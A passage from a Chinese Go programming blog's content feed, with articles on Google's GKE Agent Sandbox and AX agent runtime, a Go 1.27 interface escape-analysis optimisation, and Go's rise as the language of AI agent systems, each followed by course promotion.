联合 GKE 团队和 Kubernetes 社区，推出了 Agent Substrate 与 Agent Sandbox：\n1. 基于 gVisor 的强物理隔离（Ironclad Security） GKE Agent Sandbox 默认集成了开源的安全容器沙箱 gVisor。\n它在不可信的 Agent 应用代码与 Linux 内核之间插入了一个名为 Sentry 的用户态内核。所有 Agent 试图执行的系统调用（Syscalls）都会在用户态被拦截、审计并安全执行。这确保了即便 Agent 生成的代码带有恶意，也绝无可能穿透容器逃逸到宿主机上，实现了生产级的“Secure-by-design”。\n2. Pod 快照技术与冷启动消除（Reduce Idle Compute \u0026amp; Low Latency） 为了消灭 Agent 闲置时的算力浪费，Agent Substrate 引入了 Pod 快照技术（Pod Snapshots）：\n主动挂起（Suspend）：当一个 Agent 进入休眠或长时等待状态时，Agent Substrate 捕获其完整的运行状态并制作快照，释放其占用的物理 CPU 与内存资源。 瞬时恢复（Resume）：当事件触发或用户响应时，系统通过集成的 温水池（Warm Pool） 技术，利用快照快速恢复运行。 根据 Google Cloud 的官方测评，GKE Agent Sandbox 能够在每秒启动 300 个沙箱的高并发压力下，保证 90% 的分配在 200 毫秒内完成。这几乎抹平了传统安全容器长达数秒的冷启动时延，真正做到了“随用随起，用完即挂”。\n图：GKE 引入的高性能温水池与 Pod 快照技术\n应用层编排：Google AX 如何行使“指挥官”职责？ 在底层的 Agent Substrate 提供了极致的物理隔离与快速调度能力后，位于上层的 Agent Executor (AX) 运行时则真正扮演起了“状态与业务编排指挥官”的角色。\nAX 的核心设计并不是去触碰模型细节，而是通过 Single-Writer 架构 和 Durable Execution（持久化执行） 来保障 Agentic 循环的绝对可靠：\n1. 轨迹分支（Trajectory Branching）与分支克隆（Forking） 在复杂决策中，开发者往往希望 Agent 能像写代码一样，在某个关键节点“分叉（Fork）”去尝试多条不同的规划路径，在评估各路径的优劣后再做最终合并。\n由于 AX 底层维护了强一致性的持久化事件日志，它原生提供了 ax fork 功能：\nax fork \\ --src-conversation 38460323-9a78-41cb-8991-022b0ff2c19c \\ --dest-conversation e5e26e38-53a2-4f22-b1cb-ae867357df83 \\ --src-seq 12 开发者可以直接在指定的事件序列号（–src-seq 12）处，克隆出一条全新的、独立的执行轨迹（Trajectory）。这让 AI 在多路径探索、蒙特卡洛树搜索（MCTS）等高级推理算法中的应用变得异常简单和标准。\n2. 会话一致性（Session Consistency） 在多客户端并发控制或分布式协作中，多个进程可能同时试图更新同一个 Agent 的会话状态。AX 的单写入者（Single-Writer）架构通过统一的序列号控制机制，彻底避免了因并发竞争（Race Conditions）导致的状态脏写与损坏。\n统一的工程视角：Go 的系统级胶水作用 如果我们仔细观察这套三层架构，会发现一个极具工程美学的现象：\n最底层的 Kubernetes 与 GKE Sandbox：由 Go 语言统治。 中间层的 Agent Substrate 与 AX：同样是由 Go 语言构建（github.com/google/ax 和 github.com/agent-substrate/substrate）。 最上层的 Agent 应用与框架：则可以使用 Python（如 LangChain、ADK）来尽情发挥，当然如果你依然要使用Go，比如adk-go，来开发Agent应用也是非常棒的选择。 这一架构再次印证了我们在 AI 系统工程中的理性认知：运行时底层是系统级工程（System Engineering），应用层是模型算法工程（Algorithm Engineering）。\nGo 语言在这里扮演了不可替代的“系统级胶水”角色：它将高密度调度、gRPC 双向流、持久化快照以及隔离沙箱等硬核的系统级原语，封装成极其简单易用的 CLI 和 API，让上层的应用开发者能够专注在 Prompt 与模型逻辑上。\n小结 在看完 Google 发布的这一套以 Agent 为第一公民的云原生计算底座后，作为软件工程师，我们应该感到无比的兴奋。\n大模型确实降低了写业务逻辑代码的门槛，甚至让“AI 自动编程”成为可能。但正如 Google 资深软件工程师 Tim Hockin（Kubernetes 的共同创始人之一）和 Brandon Royal 的联手探索所展示的那样：如何在大规模、高密度、异构的物理硬件集群中，保障这些 AI 智能体安全、高效、廉价地运转，是一个极其深邃、且刚刚拉开序幕的分布式系统课题。\n谁来设计高密度的内存挂起与快照算法？ 谁来在网络边界保障 gVisor 沙箱的安全网络策略？ 谁来在 AX 层面设计多 Agent 协作时的数据一致性协议？ 这些问题，AI 无法自己解决，它需要那些真正懂得底层计算机制、网络协议和系统调度的优秀工程师。\n随着大模型和 Agent 的普及，软件工程正在经历一场从“单机时代”迈向“网格化 Agent 集群时代”的伟大战役。掌握这一套新型基础设施设计哲学与开发范式的架构师们，正在迎来属于他们的、前所未有的黄金时代。\n资料链接：\nhttps://x.com/rakyll/status/2057129537553785093 https://cloud.google.com/blog/products/containers-kubernetes/bringing-you-agent-sandbox-on-gke-and-agent-substrate https://cloud.google.com/blog/products/ai-machine-learning/agent-executor-googles-distributed-agent-runtime https://github.com/agent-substrate/substrate https://github.com/google/ax https://github.com/kubernetes-sigs/agent-sandbox ✍️ 今日的深度思考题：\n当底层的 GKE Sandbox 能够将 Agent 启动时延压低至 200 毫秒以内、且支持自动挂起时，你会如何重新设计你的多 Agent 编排逻辑？这会给你的服务器算力账单带来怎样的改变？\n欢迎在评论区留下你对这一套“Agent 时代 K8s 抽象层”的看法，我们共同探讨云原生的未来！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/23/google-open-sources-ax-and-agent-substrate-agent-centric-cloud-native-foundation/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/google-open-sources-ax-and-agent-substrate-agent-centric-cloud-native-foundation-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/23/google-open-sources-ax-and-agent-substrate-agent-centric-cloud-native-foundation\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/23/google-open-sources-ax-and-agent-substrate-agent-centric-cloud-native-foundation\"\u003ehttps://tonybai.com/2026/05/23/google-open-sources-ax-and-agent-substrate-agent-centric-cloud-native-foundation\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e随着大语言模型（LLM）与应用场景的深度融合，AI 正在从单纯的“聊天对话框”快速演进为具备长期运行、自主工具调用和复杂任务编排能力的 \u003cstrong\u003eAI Agent（智能体）\u003c/strong\u003e。\u003c/p\u003e","title":"Google 开源 AX 与 Agent Substrate：构建以 Agent 为核心的云原生计算底座"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/22/go-1-27-interface-escape-analysis-optimization-breakthrough\n大家好，我是Tony Bai。\n在日常的 Go 语言开发中，有这样一段极其普通、普通到闭着眼睛都能敲出来的代码：\nval := 1000 fmt.Sprintf(\u0026#34;Result: %d\u0026#34;, val) 如果我告诉你，这短短两行代码，就是导致你高并发服务 CPU 飙升、GC（垃圾回收）频繁卡顿的元凶之一，你会不会觉得我在危言耸听？\n这并非危言耸听。在 Go 的世界里，存在一个困扰了全球开发者整整 10 多年的“幽灵 Bug”：只要你的参数被传递给 interface{}（比如 fmt 系列函数），哪怕你传入的只是一个简单的整数或一个局部变量，一旦它进入了 any（interface{}）的大门，编译器通常就会由于“看不透”后续的操作，而保守地判定该变量“逃逸（Escape）”，从而强制将其分配在堆（Heap）上。\n这个痛点，最早可以追溯到 2014 年由 Go 核心团队成员 Keith Randall 提出的 Issue #8618，Rob Pike 亲自将 Issue #8618（不逃逸的 interface{} 转换不应分配内存）标记为 Accepted，并等待有人来解决。\n谁能想到，这一等，就是十余年。 这期间，Go 核心团队一直在试图彻底拔掉这根刺。\n直到最近，随着 Go 1.27 路线图中 Issue #62653 以及核心补丁 CL 743200 、CL 743240等的提交，这场跨越十余年的技术长跑终于迎来了突破性的进展。\n今天，我们就来深度拆解这个“核弹级”优化背后的底层逻辑，看看 Go 编译器和运行时团队是如何在不改变一行业务代码的情况下，让我们在未来实现“白嫖性能”的！\n困局：为什么接口转换成了“性能黑洞”？ 要理解这个优化的意义，我们要看看编译器在过去十年里到底在“怕”什么，首先要直面日常开发中的痛点。\n在 Go 中，逃逸分析（Escape Analysis）决定了一个变量是待在轻量、快速的**栈（Stack）上，还是被迫流浪到沉重的堆（Heap）**中。\n然而，Go 将一个具体类型（比如 int 或者一个 struct）赋值给 interface{} 时，底层需要构造一个包含类型信息和数据指针的结构（eface 或 iface）。注意接口里的数据字段是个指针。\n当你执行 Print(val)，其中 val 被转换成接口时，编译器面临一个巨大的“不确定性”。请看这个经典的例子：\nfunc Print(input any) { if v, ok := input.(Stringer); ok { println(v.String()) // 这里是罪魁祸首 } } 当我们调用 v.String() 的时候，编译器彻底懵了。因为 v 可能是一个**“好市民（Nice）”，也可能是一个“内鬼（Leaking）”**。\n什么是内鬼？\nvar global any type Leaking struct {a, b int} // String() 偷偷把接收器 l 泄露给了全局变量！ func (l *Leaking) String() string { global = l; return \u0026#34;\u0026#34; } 什么是好市民？\ntype Nice struct {a, b int} // 只是单纯返回字符串，啥也没泄露 func (n Nice) String() string { return \u0026#34;something\u0026#34; } 这样一来，编译器在看到 Print(n) 时，它不知道 input 到底会不会被传入像 Leaking 这样恶意的 String() 方法中。为了绝对的安全，只要变量变成了接口，并且后续可能发生接口方法调用，编译器就直接投降：“我算不清楚，全部逃逸到堆上吧！”\n这就导致了一个灾难性的后果：极其高频的日志和格式化场景，成了分配内存的重灾区。\n看看我们在业务里写的最多的代码：\nlog.Printf(“user %s logged in at %v”, username, time.Now()) json.Marshal(myStruct) 这些 API 的入参无一例外都是 any（即 interface{}）。由于逃逸分析的短视，即使这些参数在函数执行完毕后就不再使用了（本该在栈 Stack 上廉价地分配和销毁），它们依然会引发海量的 Heap Allocations（堆分配），进而给 GC 带来巨大的压力。\n在 Issue #8618 的讨论中，无数开发者大吐苦水。有人为了避开这个坑，甚至被迫手写了一套恶心至极的零分配格式化库（比如用链式调用 .S(“hello “).D(1) 来代替 Sprintf）；还有人寄希望于 Go 1.18 的泛型，试图用 [T any] 展开具体类型来绕过接口逃逸。\n这就好比为了喝一口水，你不得不自己造一个水库。这就是这十多年间，追求极致性能的 Go 开发者的真实写照。\n破局：CL 743200 带来的“背景调查”机制 既然难题在于“看不透”，那么解决之道就在于“精准画像”。\n在最新的 CL 743200 中，开发者 thepudds 和 Go 编译器大牛 mdempsky 引入了一套极其精妙的追踪机制。我将其形象地称为：对具体类型的“背景调查”回流。\n1. 核心武器：ifaceRecvLoc 虚拟位置 编译器引入了一个全新的伪位置属性——ifaceRecvLoc。\n以前，编译器看到接口转换，直接就把变量引向堆（Heap）。现在，它会先给这个转换点打上一个 ifaceRecvLoc 的标记。\n2. 逆向溯源：OCONVIFACE 节点的觉醒 当编译器处理到 OCONVIFACE（即具体类型转接口的代码节点）时，它不再盲目投降。它会回过头去，审查这个**具体类型（Concrete Type）**的所有方法。\n如果编译器通过分析发现：这个具体类型实现的 String() 方法（或者其他接口方法）非常“守规矩”，并没有将接收者指针存入全局变量或返回给外部，那么这个 ifaceRecvLoc 的逃逸标记就会被撤销。\n本质上，这是一种“按需定制”的逃逸分析：\n如果你传入的是 Leaking 类型，编译器依然让它逃逸（保证安全）； 如果你传入的是 Nice 类型，编译器现在能证明它是安全的，从而让它留在栈上（榨干性能）。 算法优化：用 SCC 解决“循环依赖”迷宫 你可能会问：既然思路这么清晰，为什么 Go 团队用了十年才逼近搞定？\n答案是：现实中的调用链远比示例复杂，甚至存在“递归死循环”。\n在大型 Go 项目中，函数调用关系构成了一个复杂的有向图。如果函数 A 调用了接口方法，而该接口方法的某个实现又反过来调用了函数 A，或者涉及复杂的跨包依赖，逃逸分析就会陷入死循环。\n为了解决这个问题，CL 743240重写了编译器的访问逻辑。它引入了图论中的 SCC（Strongly Connected Components，强连通分量） 算法：\n自底向上遍历（Bottom-Up）： 编译器先分析那些不依赖别人的函数，确定它们的逃逸行为。 处理循环： 将互相依赖的函数归为一个“组（Group）”。 合并策略： 新版本编译器会执行两次遍历，将“函数调用图”和“类型-接口转换图”进行合并分析。 根据测试结果，这种算法目前在 99.85% 的标准库场景中都能完美收敛。即便是像 Kubernetes 这样拥有数百万行代码、接口调用深不见底的项目，新算法依然能保持极高的编译速度，同时大幅提升逃逸分析的准确度。\n开发者能白嫖到什么？ 这次优化的落地，对 Go 开发者来说是一次无需改动代码的“性能大礼包”。\n1. fmt 和 log 系列的全面瘦身 在资料中，thepudds 明确展示：在应用了这些 Patch 后，类似 fmt.Sprintf(“%v”, p) 这种调用，如果 p 是一个简单的结构体（如 Point{x, y int}），它将不再产生堆分配。\n对于那些每秒产生数万条日志的高并发系统，这意味着内存带宽的巨大释放。\n2. 反射（Reflect）性能的连带提升 虽然这个优化集中在接口逃逸，但它也顺带解决了 reflect.Value.Interface() 在某些场景下的强制逃逸问题。作为很多框架（如 JSON 编解码、ORM）的底层基石，这种连锁反应将带来整体性能的连带提升。\n3. 架构设计的解放 以前，资深 Go 开发者为了避免逃逸，往往会刻意避开使用接口，甚至写出极其晦涩的“泛型展开”代码。\n现在，你可以重新拥抱接口了。 Go 编译器终于变得足够聪明，能够理解你的意图，并在幕后默默地为你进行最优化的内存调度。\n小结：十余年的坚持与务实 Issue #8618 从 2014 年挂载至今，期间经历了 Go 1.0 时代的稚嫩，到 2.0 提案的讨论，再到泛型的落地。Go 团队之所以迟迟没有合并早期的简单补丁，是因为他们一直在追求一种**“不产生副作用的完美解法”**——既要解决逃逸，又不能让编译速度变慢，更不能引入不稳定的 Bug。\n这种“宁缺毋滥”的工程态度，正是 Go 语言能够成为云原生基石的原因。\n虽然目前的 Milestone 定在 Go 1.27，虽然中间可能还会有反复，但 CL 743200 的出现标志着技术方案已经趋于彻底闭环。\n十年一剑，利刃出鞘。 当 Go 1.27 发布的那一天，我们或许终于可以对着那句经典的 fmt.Printf 说一声：“感谢你，终于不再让我的变量到处流浪。”\n注：issue 62653曾多次跳票，从Go 1.25到Go 1.27，至于究竟是否能在Go 1.27落地，还得拭目以待！但Go 核心团队解决这个问题的决心是值得肯定的^_^。\n资料链接：\nhttps://go-review.googlesource.com/c/go/+/743200 https://go-review.googlesource.com/c/go/+/743240 https://github.com/golang/go/issues/8618 https://github.com/golang/go/issues/62653 今日互动探讨：\n在你的高性能服务中，你是否曾经为了避开 interface{} 逃逸而写过那些“违背直觉”的代码？如果这个优化正式落地，你的哪个核心模块收益最大？\n欢迎在评论区分享你的性能调优故事，我们一起见证 Go 的进化！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/22/go-1-27-interface-escape-analysis-optimization-breakthrough/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-1-27-interface-escape-analysis-optimization-breakthrough-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/22/go-1-27-interface-escape-analysis-optimization-breakthrough\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/22/go-1-27-interface-escape-analysis-optimization-breakthrough\"\u003ehttps://tonybai.com/2026/05/22/go-1-27-interface-escape-analysis-optimization-breakthrough\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在日常的 Go 语言开发中，有这样一段极其普通、普通到闭着眼睛都能敲出来的代码：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eval := 1000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efmt.Sprintf(\u0026#34;Result: %d\u0026#34;, val)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果我告诉你，\u003cstrong\u003e这短短两行代码，就是导致你高并发服务 CPU 飙升、GC（垃圾回收）频繁卡顿的元凶之一\u003c/strong\u003e，你会不会觉得我在危言耸听？\u003c/p\u003e","title":"十年难题终获突破：揭秘 Go 1.27 接口逃逸分析优化"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/21/go-is-the-new-lingua-franca-for-ai-agents-at-google\n大家好，我是Tony Bai。\n在过去的两年里，只要一提到 AI 开发，99% 的人脑海中弹出的第一个词绝对是：Python。而如果是涉及到大模型底层的高性能推理与算力压榨，大家想到的必然是 C++ 或是 Rust。\n但在真正的工程落地中，情况正在发生一场令人猝不及防的剧变。\n最近，Google 资深软件工程师 Jaana Dogan（@rakyll）在 X（原推特）上发布了一条引发技术圈热议的推文：\n“Go 成为 Google 内部 Agentic（智能体）系统的通用语言（lingua franca），这真的很了不起。我以前从未看到过 Go 有取代 C++ 的路径，但现在我相信这是可能的。”\n这不仅仅是一条简单的技术感慨，它揭示了 AI 浪潮进入“下半场”后的核心工程困境：当我们把大模型封装成 Agent，并让成千上万个 Agent 并发协作时，Python 太脆弱，C++ 太沉重，而 Go，迎来了它的“天命时刻”。\n今天，我们就来扒一扒，为什么 Google 会让 Go 接管 AI Agent 的底层开发？这对我们普通开发者的技术栈转型，又意味着什么？\n打破滤镜：为什么 Python 和 C++ 在 Agent 时代“失宠”了？ 要理解 Go 的上位，我们首先要搞清楚，AI Agent 到底需要什么样的工程能力。\n现在的 AI 应用，早就不是早期那种“写个 Python 脚本，调用一下 OpenAI API，把结果打印出来”的玩具了。真实的 Agentic 系统（智能体系统）包含了极其复杂的网络 I/O、并发工具调用（Tool Calling）、多智能体消息路由、长时记忆状态管理，以及大规模的分布式容错。\n在这个场景下，旧有的王者们暴露出了致命的缺陷：\n1. Python 的“工程化陷阱”\nPython 是 AI 研究员的最爱，因为它的数据科学库天下无敌。但当你要构建一个高并发、高可用、需要 24/7 运行的 Agent 编排系统时，Python 的弱类型（重构火葬场）和 GIL（全局解释器锁，导致无法真正利用多核并发）就成了灾难。正如原贴讨论区一位开发者所言：“模型层可能是 Python 的天下，但围绕着模型的 Runtime（运行时环境）正越来越像 Go 的领地。”\n2. C++ 的“杀鸡用牛刀”\nC++ 拥有极致的性能，是模型训练和推理引擎（Inner Loop）的绝对霸主。但 Agent 编排系统真的需要 C++ 级别的疯狂数学计算吗？不需要。\nAgent 系统本质上是大量的网络等待（等 LLM 返回结果、等数据库查询、等网页抓取）。用 C++ 来写极其复杂的并发网络请求和状态机，不仅开发周期漫长，而且极易产生内存泄漏。正如推文评论所指出的：“C++ 背负了太多的历史包袱，它在 Agent 编排上显得太重了。”\nGo 凭什么上位？Goroutine 与 Agent 的“完美同构” Go 语言在这个时间节点爆火，并非偶然，而是因为它底层的并发哲学与 AI Agent 的行为模式产生了**“完美的同构映射”**。\n在 X 上的讨论中，多位资深开发者一针见血地指出了核心原因：\n“Goroutines mapping directly to concurrent agent communication is the reason why it makes perfect sense.”（Goroutine 直接映射到并发 Agent 之间的通信，这是它如此完美契合的原因。）\n让我们用大白话来翻译一下这个硬核逻辑：\n什么是多智能体系统（Multi-Agent System）？本质上就是一堆各自独立的“数字员工”，它们一边自己干活，一边通过发消息相互沟通。\n而 Go 语言最强大的杀手锏是什么？正是 CSP（通信顺序进程）并发模型，即 Goroutine（轻量级协程）和 Channel（通道）。\n当你启动一个 Agent 时：在 Go 里，你只需要一个简单的 go runAgent()，就能以极其低廉的内存代价（几 KB）启动一个并发实体。一千个 Agent？一万个 Agent？对 Go 来说毫无压力。 当 Agent 之间需要协作对话时：你不需要去搞复杂的锁（Locks）或者共享内存，你只需要用 Go 的 Channel 把消息塞过去，另一个 Agent 就能安全地接收。 Agent 的编排，需要的是“轻量级的并发管理”，而不是“极致的数学计算速度”。这简直就是为 Go 量身定制的战场。\n征服大厂，构建 Agent 架构的“铁三角” 除了并发模型上的天作之合，评论区的一位开发者还另外总结了 Go 赢下这场战争的另外三个决定性因素。他指出，现代 Agent 技术栈奖励三种特性，而 “Go 完美击中了这三点（Go nails all three）”：\n1. 强类型系统（Types）：告别“盲盒”开发\nAgent 系统中充斥着复杂的 JSON 解析、Tool Calling 的参数校验、以及结构化的输出。Python 的字典（Dict）传递在项目变大后就像是“盲盒”，你永远不知道里面缺了哪个字段。而 Go 的强类型 Struct 和极度清晰的错误处理机制（虽然大家都吐槽 if err != nil，但它确实极其可控），让系统拥有了极高的可预测性（Predictability）。\n2. 极速的编译体验（Fast Builds）\n“编译速度是让它成为绝配的原因之一。”在快速迭代的 AI 产品中，Go 那种秒级的编译速度，让开发者可以飞速地测试 Agent 的行为逻辑。相比之下，C++ 那漫长的编译过程在需要高频微调的 AI 时代显得格格不入。\n3. 小巧的单一二进制文件（Small Binaries）\n当你把 Agent 部署到云端、边缘设备甚至是 Serverless 环境时，Go 编译出来的是一个无需任何外部依赖的独立执行文件。没有 Python 烦人的环境依赖（无需折腾 pip, conda, 虚拟环境），直接丢进一个极小的 Docker 镜像中就能运行，这对于现代云原生运维来说是无可估量的优势。\n一个反直觉的冷知识：大模型“最爱”写 Go 代码 推文中一个开发者提出了一个极其有趣且经常被忽视的视角：在 LLM（大语言模型）的眼中，Go 是一门完美的语言。\n如果你经常用 Cursor/Codex/Claude Code等 写代码，你会发现一个现象：让 AI 写 Python，它经常会用错第三方库的版本；让 AI 写 C++ 或 Scala，它可能会搞出一堆极其复杂的继承、多态或者生命周期错误。\n但如果你让 AI 写 Go 呢？成功率出奇的高。\n原因在于：\nGo 的语法极致简单、无聊，甚至“没有类（Classes）”。它只有 Struct 和接口，这极大地减少了代码的“表面积（Surface Area）”。 Token 使用率极高。由于没有复杂的黑魔法和繁琐的泛型体系（早期），LLM 在生成 Go 代码时不容易出现“幻觉”，维护起来极其容易。 在这个连代码本身都开始由 AI 生成的时代，**“对 LLM 友好”**竟然成了一门编程语言的核心护城河。\n终局推演 —— C++ 守住“内环”，Go 赢下“外环” 那么，Go 真的会彻底消灭 C++ 吗？\n并不完全是。这场讨论最终达成了一个非常清晰的技术栈共识：\n“C++ still wins the inner loop. Go wins everything around it.”（C++ 依然赢得了内环，而 Go 赢得了周围的一切。）\n未来的 AI 系统架构已经初露端倪，它将被清晰地划分为三个层级：\n研究与数据层（Python）：用于模型训练、数据清洗、算法验证。 算力内环（C++ / Rust / CUDA）：大模型的推理引擎（如 vLLM、Ollama 底层）、张量计算。这里需要极致榨干每一滴 GPU 性能，C++ 依然是绝对的霸主。 编排外环与业务层（Go）：这是距离普通开发者最近、也是市场需求最大的地方。成千上万的 Agent 调度、API 网关、并发的数据检索（RAG）、记忆数据库交互、工具链调用，全部都将被 Go 统治。 最新铁证！Google I/O 2026 震撼官宣：废弃旧路线，用 Go 重写 AI 核心入口！ 如果你觉得前面硅谷大佬们的讨论还只是“理论推演”，那么在刚刚举办的 Google I/O 2026 大会上，Google 官方直接用一记雷霆手段，把这个趋势变成了既成事实。\nGoogle 开发者博客发布了公告：正式宣布停止维护原有的 Gemini CLI，全面过渡到全新的“Google Antigravity（反重力）”多智能体开发平台，并推出全新的核心入口 —— Antigravity CLI。\n而在官方给出的技术变更文档中，最扎眼、最让 Go 开发者狂喜的一条更新理由，白纸黑字地写着：\n“Faster execution: Built in Go, Antigravity CLI is snappier and more responsive.” （更快的执行速度：基于 Go 语言构建，Antigravity CLI 更加轻快、响应更迅速。）\n图：Google I/O 2026：旧版 CLI，用Antigravity CLI替代 旧版的 Gemini CLI 是基于传统脚本语言（Node.js/TS 体系）构建的，在处理单点交互时绰绰有余。但 Google 明确表示，现在开发者的需求已经彻底变了：“你现在需要多个 Agent 相互通信、分工合作来解决复杂的系统问题。”\n当单点 CLI 变成“多 Agent 协同编排后端”时，旧有的 JS/TS 体系在高并发、异步工作流（Asynchronous Workflows）和底层系统控制上面临性能瓶颈。Google 毫不犹豫地选择用 Go 语言 彻底重写，就是为了利用 Go 极致的并发和执行效率，来支撑起“后台多任务并发运行、且不锁定终端”的强悍体验。\n小结：给开发者的生存建议 过去的一年里，无数后端开发者感到焦虑，觉得自己掌握的 CRUD 技能在 AI 面前一文不值。但 Google 内部的这场技术栈迁移，给我们指明了一条无比清晰的道路：\n别再只盯着 Python 看了。\n当 AI 从单一的对话框，走向全面接管企业业务流的多智能体（Multi-Agent）协作形态时，对高并发、高可用后端工程能力的需求不仅没有减少，反而呈指数级爆发。\n学习 Go 语言，理解 Goroutine，掌握如何构建一个稳健的 Agent 编排框架。因为决定下一个十年 AI 应用成败的，不再是模型本身的算力，而是谁能最好地管理和协调这些拥有智能的“数字大军”。\n而目前来看，Go，已经在这场战役中拔得头筹。\n资料链接：https://x.com/rakyll/status/2056528039698403498\n今日互动探讨：\n你目前在开发 AI 应用或 Agent 系统时，使用的是什么语言？你是否遇到了 Python 在高并发或部署时的痛点？欢迎在评论区分享你的实战经验与踩坑血泪史，我们一起探讨 AI 时代的最佳实践！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/21/go-is-the-new-lingua-franca-for-ai-agents-at-google/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" 